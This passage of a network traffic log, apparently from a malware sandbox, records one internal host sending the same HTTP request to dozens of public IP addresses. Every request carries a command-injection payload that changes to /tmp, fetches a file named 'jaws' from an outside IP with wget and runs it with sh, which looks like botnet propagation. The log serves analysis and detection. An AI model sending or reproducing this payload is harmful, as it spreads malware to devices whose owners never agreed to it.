Jun 10, 2024 15:38:02.180176020 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.13	34516	70.179.238.108	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.180785894 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.13	35638	105.54.97.51	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.181411028 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.13	39736	62.45.198.223	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.181988001 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.13	49626	87.245.32.151	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.182600975 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.13	54180	157.18.104.206	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.184257030 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.13	34914	208.149.111.33	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.185065031 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.13	38838	51.241.250.184	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.185647964 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.13	52934	189.184.117.112	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.186209917 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.13	58402	148.107.14.82	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.186822891 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.13	49758	41.85.227.153	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.187427998 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.13	35812	93.194.35.168	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.188000917 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.13	38476	134.254.164.251	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.188584089 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.13	54590	181.43.113.5	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.189188957 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.13	51664	175.66.140.251	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.189766884 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.13	54796	163.171.166.32	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.190464020 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.13	34794	92.104.254.49	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.191076040 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.13	55284	101.205.228.142	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.191669941 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.13	60074	64.49.25.82	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.192228079 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.13	47476	217.58.14.173	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.192815065 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.13	37466	213.143.126.69	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.193407059 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.13	40012	52.106.240.216	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.193979025 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.13	41838	164.199.106.8	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.194607973 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.13	38620	24.223.164.59	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.195195913 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.13	45542	66.229.246.168	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.195817947 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.13	58088	60.159.195.222	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.196419001 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.13	55228	76.250.8.228	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.197002888 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.13	45966	97.242.25.160	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.197578907 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.13	58564	111.183.120.0	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.199023008 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.13	41896	211.186.230.205	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.200092077 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.13	55206	39.154.202.115	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.200766087 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.13	41832	122.154.206.75	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.201308012 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.13	53342	103.245.46.205	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.201891899 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.13	47442	96.134.106.53	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.202496052 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.13	52872	51.110.96.206	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.203124046 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.13	55756	105.96.207.144	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.203855991 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.13	37872	130.15.10.169	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.204471111 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.13	42612	86.184.181.185	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.205082893 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.13	48150	174.173.190.249	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.205682039 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.13	57210	117.51.17.164	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.206270933 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.13	44322	212.209.139.234	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.206840992 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.13	47142	207.200.77.20	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.207442045 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.13	44384	44.130.63.92	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.208033085 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.13	33738	60.238.166.80	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.208622932 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.13	39220	108.217.14.73	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.209223986 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.13	40614	82.111.112.237	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.209868908 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.13	60628	213.195.115.2	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.210410118 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.13	36122	96.64.204.162	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.211759090 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.13	41004	92.205.159.254	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.213752985 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.13	35392	76.65.135.249	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.214504957 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.13	36916	70.93.199.15	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.215181112 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.13	35478	118.231.106.106	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.215873957 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.13	51386	75.235.225.30	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.216669083 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.13	36550	124.237.240.235	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.217346907 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.13	41204	20.87.200.184	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.217968941 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.13	47496	147.24.1.119	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.218756914 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.13	33066	109.50.38.173	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.219305038 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.13	44608	159.234.223.64	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.220011950 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.13	57864	110.93.10.149	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.220674992 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.13	50200	176.61.110.28	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.221501112 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.13	55402	88.20.26.107	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.222619057 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.13	43716	12.140.219.78	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.223515034 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.13	41524	80.48.225.205	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.224313021 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.13	51454	202.253.242.169	80

Timestamp	Bytes transferred	Direction	Data
